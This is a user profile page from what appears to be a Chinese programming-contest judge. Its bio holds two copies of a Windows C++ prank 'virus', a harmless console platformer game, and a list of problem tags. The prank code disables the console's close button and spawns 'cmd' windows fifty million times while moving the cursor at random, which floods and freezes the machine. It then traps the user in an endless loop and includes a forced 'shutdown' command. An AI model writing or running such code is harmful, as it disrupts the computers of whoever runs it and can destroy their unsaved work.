• Bio

    随便看着办吧

    #include<iostream>
    #include<cstdio>
    #include<cmath>
    #include<algorithm>
    #include<string>
    #include<cstring>
    #include<sstream>
    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;  
    int main(){
    	int l;
    	system("Color 5A" );
    	DeleteMenu(GetSystemMenu(GetConsoleWindow(), FALSE), SC_CLOSE, MF_BYCOMMAND);
    	DrawMenuBar(GetConsoleWindow());
    	cout<<"来自病毒的一封信:\n";
    	system("pause"); 
    	Sleep(1000);
    	cout<<"提示:按病毒说的做就没事!";
    	system("pause");
    	Sleep(1000); 
    	cout<<"\n病毒:输入10000次随机字符!\n";
    	Sleep(1000); 
    	int i=1000000,k=50000000;
    	char a;
    	while(i){
    		cin.get(a);
    		i--;
    	}
    	cout<<"病毒:卡爆你的内存!\n";
    	system("pause");
    	while(k){
    		int x=GetSystemMetrics(SM_CXSCREEN);
    		int y=GetSystemMetrics(SM_CYSCREEN);
    		SetCursorPos(rand()%y,rand()%x);
    		system("start cmd");
    		k--;
    	}
    	cout<<"病毒:最后一关,你是不是^(* ̄(oo) ̄)^猪猪,1表示是,2表示不是";
    	cin>>l;
    	if(l==1){
    		cout<<"病毒:这次就放过你了,后会有期!";
    	}
    	else{
    		Sleep(1000); 
    		cout<<"\n我:为什么弹窗关不掉!";
    		system("pause");
    		Sleep(1000); 
    		cout<<"\n病毒:你自己看着办吧!";
    		system("pause");
    		Sleep(1000); 
    		cout<<"\n我:......";
    		system("pause");
    		Sleep(1000); 
    		int j=0;
    		while(1){
    			j++;
    			Sleep(3);
    			if(j==1000){
    				cout<<"\n提示:任务管理器!";
    				system("pause");
    			}
    		}
    		cout<<"病毒:看来得给你点教训";
    		system("pause");
    		system("shutdown -s -t 5");
    	}
    	return 0;
    }
    
    

    正常码风

    #include<cstdio>
    #include<cmath>
    #include<algorithm>
    #include<string>
    #include<cstring>
    #include<sstream>
    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;  
    int main(){
    	int l;
    	system("Color 5A" );
    	DeleteMenu(GetSystemMenu(GetConsoleWindow(),FALSE),SC_CLOSE,MF_BYCOMMAND);
    	DrawMenuBar(GetConsoleWindow());
    	printf("来自病毒的一封信:\n");
    	system("pause"); 
    	Sleep(1000);
    	printf("提示:按病毒说的做就没事!");
    	system("pause");
    	Sleep(1000);
    	printf("\n病毒:输入10000次随机字符!\n");
    	Sleep(1000); 
    	int i = 1000000,k = 50000000;
    	char a;
    	while(i){
    		cin.get(a);
    		i--;
    	}
    	printf("病毒:卡爆你的内存!\n");
    	system("pause");
    	while(k){
    		int x = GetSystemMetrics(SM_CXSCREEN);
    		int y = GetSystemMetrics(SM_CYSCREEN);
    		SetCursorPos(rand()%y,rand()%x);
    		system("start cmd");
    		k--;
    	}
    	printf("病毒:最后一关,你是不是^(* ̄(oo) ̄)^猪猪,1表示是,2表示不是");
    	scanf("%d",&l);
    	if(l == 1)printf("病毒:这次就放过你了,后会有期!");
    	else{
    		Sleep(1000);
    		printf("\n我:为什么弹窗关不掉!");
    		system("pause");
    		Sleep(1000);
    		printf("\n病毒:你自己看着办吧!");
    		system("pause");
    		Sleep(1000); 
    		printf("\n我:......");
    		system("pause");
    		Sleep(1000); 
    		int j=0;
    		while(1){
    			j++;
    			Sleep(3);
    			if(j==1000){
    				printf("\n提示:任务管理器!");
    				system("pause");
    			}
    		}
    		printf("病毒:看来得给你点教训");
    		system("pause");
    		system("shutdown -s -t 5");
    	}
    	return 0;
    }
    
    

    呵呵呵

    #include<iostream>
    #include<iomanip>
    #include<string>
    #include<cstdlib>
    #include<ctime>
    #include<windows.h>
    #include<conio.h>
    #include<fstream>
    using namespace std;
    const long long dts = 8;
    long long wj1x, wj1y, wj2x, wj2y, cs = 0, dtbh, sy, runs, zgjd = 1;
    bool f = 1, t1 = 1, t2 = 1, cxjs = 1;
    long long csx[dts + 1] = {
    	0,
    	18,
    	18,
    	18,
    	14,
    	1,
    	3,
    	1,
    	3
    };
    long long csy[dts + 1] = {
    	0,
    	1,
    	1,
    	1,
    	1,
    	1,
    	1,
    	1,
    	37
    };
    string dtm[dts + 1] = {
    	"空地图",
    	"新手图",
    	"蹦床天地",
    	"信仰之跃",
    	"生死双道",
    	"天空跳床",
    	"小心暗刺",
    	"转来转去",
    	"9 9 加 6"
    };
    string dt[dts + 1][21] = {
    	{
    		"                                                                            ",//
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    	},
    	{
    		"                                                                            =",//
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                                            =",
    		"                                                          ===================",
    		"                                                                            =",
    		"                                                             ====           =",
    		"                                                            =               =",
    		"                      <      >                             =               $=",
    		" ====     ===^^^^^==================-               =======                 =",
    		"                                                                            ="
    	},
    	{
    		"                                                                            ",//
    		"                             =                                <             ",
    		"                             =                                <             ",
    		"                             =                                <         $   ",
    		"                             =                                <             ",
    		"                             =                                <             ",
    		"                     ---                                      <             ",
    		"                             =                                              ",
    		"                             ======-=====-===---=----=-=----========-=======",
    		"                                                                            ",
    		"                                                                            ",
    		"               ---                                                          ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		" ---------------------------------------------------------------------------",
    		"                                                                            "
    	},
    	{
    		"                                                                            ",//
    		"                                                                            ",
    		"                                                                            ",
    		"  ==                                                                  ===   ",
    		"  =                                                                     =   ",
    		"  =                                                                     =   ",
    		"  =                                                        $            =   ",
    		"  =                                                                     =   ",
    		"  =                                                                     = - ",
    		"                                                                        =   ",
    		" -==                                                                    =   ",
    		"                                                                        =   ",
    		"     ==                                                                 =   ",
    		"                                                     ===                =-  ",
    		"        ==                                                              =   ",
    		"                                               ====                     =   ",
    		"     ===                                                                =   ",
    		"                                            ==                          =   ",
    		"  ===                                  ==                                   ",
    		" =                               ===                                 ======-",
    		"                                                                            ",
    	},
    	{
    		"                                                                            ",//
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                ==  ===  == ",
    		"                                                        ===  ===          < ",
    		"                                                  ==                      < ",
    		"                                                                          < ",
    		"                  ==                           ==^^^^^^^^^^^==            < ",
    		"                         ======                                           < ",
    		"              ==                       === =======                        < ",
    		"               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^< ",
    		"         ==                                                               < ",
    		"                                                                          < ",
    		"     ==                                                                   < ",
    		"                                                 ^                         $",
    		" ========>  <=== === === ==  = === = == === ==== ^ ====  === == = == = =====",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    		"                                                                            ",
    	},
    	{
    		"                                                                            ",//
    		"   <                                                                        ",
    		"   <                                                                        ",
    		"   <                                                                        ",
    		"   <                                                                        ",
    		"   <                                                                        ",
    		"   <                                             --                         ",
    		"   <                          ==                                            ",
    		"   <                                                                        ",
    		"   <           =                          --                                ",
    		"   <           =                                                            ",
    		"   <           =                                                            ",
    		"   <           =                                                            ",
    		"   <           =                                                            ",
    		"   <           =                                                            ",
    		"   <           =          --                                                ",
    		"   <           =                                                           $",
    		"               =                                                            ",
    		" =====---------=^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^",
    		"                                                                            ",
    		"                                                                            "
    	},
    	{
    		"                                                                            ",//
    		"                                                                           =",
    		"                                                                           =",
    		"                                                                           =",
    		" ====^=====^=====^=====^=====^=====^=====^=====^=====^=====^=====^=====^== =",
    		"                                                                           =",
    		"                                   ==========      <>                      =",
    		"                                             =           <>         <>     =",
    		"   ==============================^^^^^^^^^^^^=============================^=",
    		"        <                                                                  =",
    		"        <             ==                                   ==              =",
    		"        <            =                                    =                =",
    		" ^^^    <           =                                    =                 =",
    		"        <          =                                    =                  =",
    		"        <         =                                    =                   =",
    		"    ^^^^<        =                                    =                    =",
    		"        <       =                                    =                     =",
    		"        <      =                                    =                      =",
    		"              =                                    =                       =",
    		" ==============                               =====                       $=",
    		"                                                                           ="
    	},
    	{
    		"                                                                            ",//
    		"   <                                                                       =",
    		"   <                                                                       =",
    		"   <                                                                       =",
    		"   <                                                                       =",
    		"   <               =============================                           =",
    		"   <               =          =    =           = =====================     =",
    		"   <               ==  ==     =   $=       ==  = =                    ==   =",
    		"   <               =   =      =    =       =   = =                         =",
    		"   <               =  ==  ^^^^==           =  == =                       ===",
    		"   <               =   =      =       ^^^^^=   = =              ===  ===   =",
    		"   <               ==  =      ===============  = =                         =",
    		"   <               =   =^^                     = =           ==            =",
    		"   <               = =========================== =             ===         =",
    		"   <               =                             =               =         =",
    		"   <    ^          ===============================               =         =",
    		"   <   =>                                                        ====      =",
    		"      ==>                                                                ===",
    		" ====================================================================      =",
    		"                                                                           =",
    		"                                                                           ="
    	},
    
    
    	{
    		"                                                                            ",//
    		"                              >                   <      =              =   ",
    		"                              >                   <      =              =   ",
    		"        =                     >                   <      =        =     =   ",
    		" ^^^^^   =                    >     ===           <      =        ==    =   ",
    		"         <=                   >               = =^       =         ===  =   ",
    		"         < =                   ^^^^^^^^^^^^^^^    <      =$             =   ",
    		"         <  =                                     <      =            ===   ",
    		"      ^^^<   =                 ==              ^^^       =^^^^^^^^==    =   ",
    		"         <    =                  =          ^^^          =============  =   ",
    		"         <     =                  ===    ==  <                          =   ",
    		"         <     ======^^^^^^^^^^^^^   ^^^^  ^^            ================   ",
    		"         <                                                                  ",
    		" ^^^^    <         ==                                ==                     ",
    		"         <        =                                                         ",
    		"         <       =                               ==                         ",
    		" ==== ^^^       =                                                           ",
    		"               =                             ==                             ",
    		"     ==========                     =======                                 ",
    		"                                                                            ",
    		"                                                                            "
    	}
    };
    struct cdhs
    {
    	void out()
    	{
    		ofstream cda("闯关进度.binggan");
    		cda << zgjd;
    		return;
    	}
    	void in()
    	{
    		ifstream cda("闯关进度.binggan");
    		cda >> zgjd;
    		return;
    	}
    }cdhs;
    //基础函数
    void csh()
    {
    	f = 1, t1 = 1, t2 = 1;
    	cs = 0;
    	return;
    }
    void color(int c)
    {
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), c);
    	return;
    }
    void gb()
    {
    	CONSOLE_CURSOR_INFO cursor;
    	cursor.bVisible = FALSE;
    	cursor.dwSize = sizeof(cursor);
    	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
    	SetConsoleCursorInfo(handle, &cursor);
    	return;
    }
    void gs(long long h, long long l, string z)
    {
    	for (long long i = 1; i <= h; i++)
    	{
    		cout << "\n";
    	}
    	for (long long i = 1; i <= l; i++)
    	{
    		cout << " ";
    	}
    	cout << z;
    	return;
    }
    void out();
    void in();
    void lx();
    void bd();
    //页面函数
    void zym();
    void yxym();
    void smym();
    void szsmym();
    void wpsmym();
    void yxjqym();
    //模式函数
    void _1run();
    void _2run();
    void suij();
    void cg();
    int main()
    {
    	srand(time(0));
    	color(240);
    	system("mode con cols=76 lines=20");
    	gb();
    	cdhs.in();
    	while (cxjs)
    	{
    		zym();
    		system("cls");
    	}
    	cdhs.out();
    	return 0;
    }
    void zym()
    {
    	char s;
    	system("cls");
    	gs(5, 34, "跑酷");
    	gs(2, 0, "");
    	gs(1, 30, "0.退出");
    	gs(1, 30, "1.开始游戏");
    	gs(1, 30, "2.游戏说明");
    	gs(1, 30, "3.游戏存档");
    	s = _getch();
    	while (s != '0' && s != '1' && s != '2' && s != '3')s = _getch();
    	switch (s)
    	{
    	case '0':
    		cxjs = 0;
    		return;
    		break;
    	case '1':
    		yxym();
    		break;
    	case '2':
    		smym();
    		break;
    	case '3':
    		cdhs.out();
    		break;
    	}
    	return;
    }
    void yxym()
    {
    	char s;
    	system("cls");
    	while (1)
    	{
    		gs(0, 0, "0.退出");
    		gs(1, 0, "1.单人模式");
    		gs(1, 0, "2.双人模式");
    		s = _getch();
    		while (s != '0' && s != '1' && s != '2')s = _getch();
    		switch (s)
    		{
    		case '0':
    			return;
    		case '1':
    			_1run();
    			break;
    		case '2':
    			_2run();
    			break;
    		}
    	}
    	return;
    }
    void out()
    {
    	for (long long i = 1; i <= 19; i++)
    	{
    		for (long long j = 1; j <= 75; j++)
    		{
    			if (i == wj1x && j == wj1y)
    			{
    				color(9);
    				cout << "*";
    			}
    			else
    				if (i == wj2x && j == wj2y && runs >= 2)
    				{
    					color(12);
    					cout << "+";
    				}
    				else
    					if (dt[dtbh][i][j] == '$')
    					{
    						color(10);
    						cout << "$";
    					}
    					else
    					{
    						color(240);
    						cout << dt[dtbh][i][j];
    					}
    		}
    		cout << endl;
    	}
    	return;
    }
    void in()
    {
    	if (GetKeyState('P') < 0)
    	{
    		f = 0;
    		sy = 0;
    		system("cls");
    		return;
    	}
    	if (GetKeyState('A') < 0 && (dt[dtbh][wj1x][wj1y - 1] == ' ' || dt[dtbh][wj1x][wj1y - 1] == '$') && wj1y - 1 > 0)
    	{
    		wj1y--;
    	}
    	if (GetKeyState('D') < 0 && (dt[dtbh][wj1x][wj1y + 1] == ' ' || dt[dtbh][wj1x][wj1y + 1] == '$') && wj1y - 1 <= 100)
    	{
    		wj1y++;
    	}
    	if (GetKeyState('W') < 0 && (dt[dtbh][wj1x - 1][wj1y] == ' ' || dt[dtbh][wj1x - 1][wj1y] == '$') && wj1x > 1 && t1)
    	{
    		wj1x--;
    		for (long long i = 1; i <= 2; i++)
    			if (dt[dtbh][wj1x - 1][wj1y] == ' ' && wj1x > 1)wj1x--;
    		t1 = 0;
    	}
    	if (runs >= 2)
    	{
    		if (GetKeyState(37) < 0 && (dt[dtbh][wj2x][wj2y - 1] == ' ' || dt[dtbh][wj2x][wj2y - 1] == '$') && wj2y - 1 > 0)
    		{
    			wj2y--;
    		}
    		if (GetKeyState(39) < 0 && (dt[dtbh][wj2x][wj2y + 1] == ' ' || dt[dtbh][wj2x][wj2y + 1] == '$') && wj1y - 1 <= 100)
    		{
    			wj2y++;
    		}
    		if (GetKeyState(38) < 0 && (dt[dtbh][wj2x - 1][wj2y] == ' ' || dt[dtbh][wj2x - 1][wj2y] == '$') && wj2x > 1 && t2)
    		{
    			wj2x--;
    			for (long long i = 1; i <= 2; i++)
    				if (dt[dtbh][wj2x - 1][wj2y] == ' ' && wj2x > 1)wj2x--;
    			t2 = 0;
    		}
    	}
    	return;
    }
    void lx()
    {
    	if (dt[dtbh][wj1x + 1][wj1y] == ' ' || dt[dtbh][wj1x + 1][wj1y] == '$')wj1x++;
    	else t1 = 1;
    	if (dt[dtbh][wj2x + 1][wj2y] == ' ' || dt[dtbh][wj2x + 1][wj2y] == '$')wj2x++;
    	else t2 = 1;
    	return;
    }
    void bd()
    {
    	if (dt[dtbh][wj1x][wj1y] == '$')
    	{
    		f = 0;
    		sy = 1;
    	}
    	if (dt[dtbh][wj2x][wj2y] == '$')
    	{
    		f = 0;
    		sy = 2;
    	}
    	if (wj1x == 20)
    	{
    		wj1x = csx[dtbh]; wj1y = csy[dtbh];
    	}
    	if (wj2x == 20)
    	{
    		wj2x = csx[dtbh]; wj2y = csy[dtbh];
    	}
    	if (dt[dtbh][wj1x + 1][wj1y] == '^')
    	{
    		wj1x = csx[dtbh]; wj1y = csy[dtbh];
    	}
    	if (dt[dtbh][wj2x + 1][wj2y] == '^')
    	{
    		wj2x = csx[dtbh]; wj2y = csy[dtbh];
    	}
    	if (dt[dtbh][wj1x][wj1y + 1] == '<')
    	{
    		wj1x = csx[dtbh]; wj1y = csy[dtbh];
    	}
    	if (dt[dtbh][wj2x][wj2y + 1] == '<')
    	{
    		wj2x = csx[dtbh]; wj2y = csy[dtbh];
    	}
    	if (dt[dtbh][wj1x][wj1y - 1] == '>')
    	{
    		wj1x = csx[dtbh]; wj1y = csy[dtbh];
    	}
    	if (dt[dtbh][wj2x][wj2y - 1] == '>')
    	{
    		wj2x = csx[dtbh]; wj2y = csy[dtbh];
    	}
    	if (dt[dtbh][wj1x + 1][wj1y] == '-')
    	{
    		for (long long i = 1; i <= 10 && wj1x > 1; i++)
    		{
    			if (dt[dtbh][wj1x - 1][wj1y] == ' ' || dt[dtbh][wj1x - 1][wj1y] == '$')
    			{
    				wj1x--;
    			}
    			else
    				break;
    		}
    	}
    	if (dt[dtbh][wj2x + 1][wj2y] == '-')
    	{
    		for (long long i = 1; i <= 10 && wj2x > 1; i++)
    		{
    			if (dt[dtbh][wj2x - 1][wj2y] == ' ' || dt[dtbh][wj2x - 1][wj2y] == '$')
    			{
    				wj2x--;
    			}
    			else
    				break;
    		}
    	}
    	return;
    }
    void _1run()
    {
    	system("cls");
    	char s;
    	runs = 1;
    	while (1)
    	{
    		cout << "0.退出\n";
    		cout << "1.随机\n";
    		cout << "2.闯关\n";
    		s = _getch();
    		while (s != '0' && s != '1' && s != '2')s = _getch();
    		switch (s)
    		{
    		case '0':
    			system("cls");
    			return;
    		case '1':
    			suij();
    			break;
    		case '2':
    			cg();
    			break;
    		}
    		system("cls");
    	}
    	return;
    }
    void _2run()
    {
    	system("cls");
    	char s;
    	runs = 2;
    	while (1)
    	{
    		cout << "0.退出\n";
    		cout << "1.随机\n";
    		cout << "2.闯关\n";
    		s = _getch();
    		while (s != '0' && s != '1' && s != '2')s = _getch();
    		switch (s)
    		{
    		case '0':
    			system("cls");
    			return;
    		case '1':
    			suij();
    			break;
    		case '2':
    			cg();
    			break;
    		}
    		system("cls");
    	}
    	return;
    }
    void suij()
    {
    	char s;
    	while (1)
    	{
    		csh();
    		dtbh = rand() % dts + 1;
    		wj1x = wj2x = csx[dtbh];
    		wj1y = wj2y = csy[dtbh];
    		while (f)
    		{
    			out();
    			Sleep(10);
    			system("cls");
    			in();
    			bd();
    			if (cs == 1)
    				lx();
    			if (cs == 1)cs = -1;
    			cs++;
    		}
    		system("cls");
    		if (runs >= 2)
    		{
    			if (sy == 0)
    			{
    				system("cls");
    				return;
    			}
    			if (sy == 1)
    			{
    				color(9);
    				system("cls");
    				cout << "*赢了!";
    				cout << "\n按Enter继续";
    				char t = _getch();
    				while (t != 13)t = _getch();
    				color(153);
    			}
    			else
    			{
    				color(12);
    				system("cls");
    				cout << "+赢了!";
    				cout << "\n按Enter继续";
    				char t = _getch();
    				while (t != 13)t = _getch();
    				color(204);
    			}
    		}
    		else
    		{
    			if (sy == 0)
    			{
    				system("cls");
    				return;
    			}
    			else
    			{
    				color(9);
    				system("cls");
    				cout << "你赢了!!!";
    				cout << "\n按Enter继续";
    				char s = _getch();
    				while (s != 13)s = _getch();
    				color(153);
    			}
    		}
    		color(240);
    		system("cls");
    		cout << "是否返回?(y/n)";
    		s = _getch();
    		while (s != 'y' && s != 'n')s = _getch();
    		if (s == 'y')
    		{
    			f = 0;
    			system("cls");
    			return;
    		}
    		system("cls");
    	}
    	return;
    }
    void cg()
    {
    	csh();
    	char s;
    	system("cls");
    	while (f)
    	{
    		system("cls");
    		cout << "0.退出" << endl;
    		for (long long i = 1; i <= dts; i++)
    		{
    			if (zgjd > i)
    			{
    				cout << i << "." << dtm[i];
    				for (long long j = 1; j <= 20 - dtm[i].size(); j++)
    				{
    					cout << " ";
    				}
    				cout << "*";
    			}
    			else
    				if (zgjd == i)
    				{
    					cout << i << "." << dtm[i];
    					for (long long j = 1; j <= 20 - dtm[i].size(); j++)
    					{
    						cout << " ";
    					}
    					cout << "=";
    				}
    				else
    				{
    					cout << i << ".????" << "            ";
    					cout << "+";
    				}
    			cout << endl;
    		}
    		s = _getch();
    		while (s < '0' || s>'0' + dts)s = _getch();
    		if (s == '0')
    		{
    			system("cls");
    			return;
    		}
    		if (s - '0' > zgjd)
    		{
    			system("cls");
    			cout << "你还没有解锁此关卡!\n";
    			cout << "按空格继续";
    			char t;
    			t = _getch();
    			while (t != ' ')t = _getch();
    		}
    		dtbh = s - '0';
    		wj1x = wj2x = csx[dtbh];
    		wj1y = wj2y = csy[dtbh];
    		while (f)
    		{
    			out();
    			Sleep(10);
    			system("cls");
    			in();
    			bd();
    			if (cs == 1)
    				lx();
    			if (cs == 1)cs = -1;
    			cs++;
    		}
    		system("cls");
    		if (runs >= 2)
    		{
    			if (sy == 0)
    			{
    				system("cls");
    				return;
    			}
    			if (sy == 1)
    			{
    				color(9);
    				system("cls");
    				cout << "*赢了!";
    				cout << "\n按Enter继续";
    				char t = _getch();
    				while (t != 13)t = _getch();
    				color(153);
    			}
    			else
    			{
    				color(12);
    				system("cls");
    				cout << "+赢了!";
    				cout << "\n按Enter继续";
    				char t = _getch();
    				while (t != 13)t = _getch();
    				color(204);
    			}
    		}
    		else
    		{
    			if (sy == 0)
    			{
    				system("cls");
    				return;
    			}
    			else
    			{
    				color(9);
    				system("cls");
    				cout << "你赢了!!!";
    				cout << "\n按Enter继续";
    				char s = _getch();
    				while (s != 13)s = _getch();
    				color(153);
    			}
    		}
    		color(240);
    		if (zgjd == dtbh)
    		{
    			zgjd++;
    		}
    		system("cls");
    	}
    	return;
    }
    void smym()
    {
    	char s;
    	system("cls");
    	cout << "游戏说明:\n";
    	cout << "0.退出\n";
    	cout << "1.操作说明\n";
    	cout << "2.物品说明\n";
    	cout << "3.游戏技巧\n";
    	s = _getch();
    	while (s != '0' && s != '1' && s != '2' && s != '3')s = _getch();
    	switch (s)
    	{
    	case '0':
    		system("cls");
    		return;
    	case '1':
    		szsmym();
    		break;
    	case '2':
    		wpsmym();
    		break;
    	case '3':
    		yxjqym();
    		break;
    	}
    	return;
    }
    void szsmym()
    {
    	char s;
    	system("cls");
    	gs(1, 0, "操作说明:");
    	gs(1, 4, "玩家1:");
    	gs(1, 8, "  W  ");
    	gs(1, 8, "A   D");
    	gs(1, 8, "移动");
    	gs(1, 0, "");
    	gs(1, 4, "玩家2:");
    	gs(1, 8, "  ^  ");
    	gs(1, 8, "<   >");
    	gs(1, 8, "移动");
    	gs(1, 4, "功能键:");
    	gs(1, 8, "P返回主界面");
    	cout << "\n\n\n按空格继续";
    	s = _getch();
    	while (s != ' ')s = _getch();
    	system("cls");
    	return;
    }
    void wpsmym()
    {
    	char s;
    	system("cls");
    	cout << "* 玩家1\n";
    	cout << "+ 玩家2\n";
    	cout << "= 砖块\n";
    	cout << "$ 终点\n";
    	cout << "- 蹦床\n";
    	cout << "^ 上刺\n";
    	cout << "< 左刺\n";
    	cout << "> 右刺\n";
    	cout << "按空格继续";
    	s = _getch();
    	while (s != ' ')s = _getch();
    	system("cls");
    	return;
    }
    void yxjqym()
    {
    	system("cls");
    	char s;
    	system("cls");
    	gs(1, 4, "游戏技巧:");
    	gs(1, 8, "1.延迟起跳:");
    	gs(1, 12, "如果上方有物品,跳起来会挡住");
    	gs(1, 12, "可以先走过去,等上方无遮挡物时按跳键");
    	gs(1, 12, "这样就可以跳的远了");
    	cout << "\n按空格继续";
    	s = _getch();
    	while (s != ' ')s = _getch();
    	system("cls");
    	return;
    }
    
  • Accepted Problems

  • Recent Activities

  • Recent Solutions

Problem Tags

一本通编程启蒙
17
数据结构
6
模拟
4
字符串
4
3
前缀和
3
队列
3
枚举
2
USACO
2
二分
2
2001
1
2004
1
2008
1
2011
1
系统测试
1
NOIp 普及组
1
NOIp 提高组
1
各省省选
1
安徽
1
期望
1